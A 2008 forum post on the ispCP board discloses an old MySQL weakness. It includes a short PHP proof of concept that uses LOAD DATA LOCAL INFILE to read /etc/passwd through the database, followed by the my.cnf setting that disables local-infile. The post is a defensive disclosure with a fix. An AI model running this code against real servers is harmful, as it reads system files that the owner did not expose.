Current time: 05-17-2024, 02:49 PM Hello There, Guest! (LoginRegister)


Post Reply 
exploit
Author Message
sci2tech Away
Senior Member
****

Posts: 1,285
Joined: Jan 2007
Reputation: 23
Post: #1
exploit
Well known, old, not generated by ispcp but affect it.
Code:
<?php
$link = mysql_connect('localhost', 'sqluser1', 'sqluser1');
mysql_select_db('bla');
mysql_query("CREATE TABLE a (a varchar(1024))");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a");
$result = mysql_query("SELECT a FROM a");
while(list($row) = mysql_fetch_row($result))
print "$row\n";
mysql_query("DROP TABLE `a`");
?>
To get rid of this, you need to add in my.cnf in section [mysqld]
Quote:set-variable=local-infile=0
Maybe this should be implement as a security feature in ispcp
07-16-2008 09:06 PM
Visit this user's website Find all posts by this user Quote this message in a reply
Post Reply 


Messages In This Thread
exploit - sci2tech - 07-16-2008 09:06 PM
RE: exploit - aseques - 07-22-2008, 12:19 AM
RE: exploit - ephigenie - 07-22-2008, 12:23 AM
RE: exploit - aseques - 07-22-2008, 12:29 AM
RE: exploit - ephigenie - 07-22-2008, 12:31 AM
RE: exploit - FeG - 07-24-2008, 07:08 AM

Forum Jump:


User(s) browsing this thread: 1 Guest(s)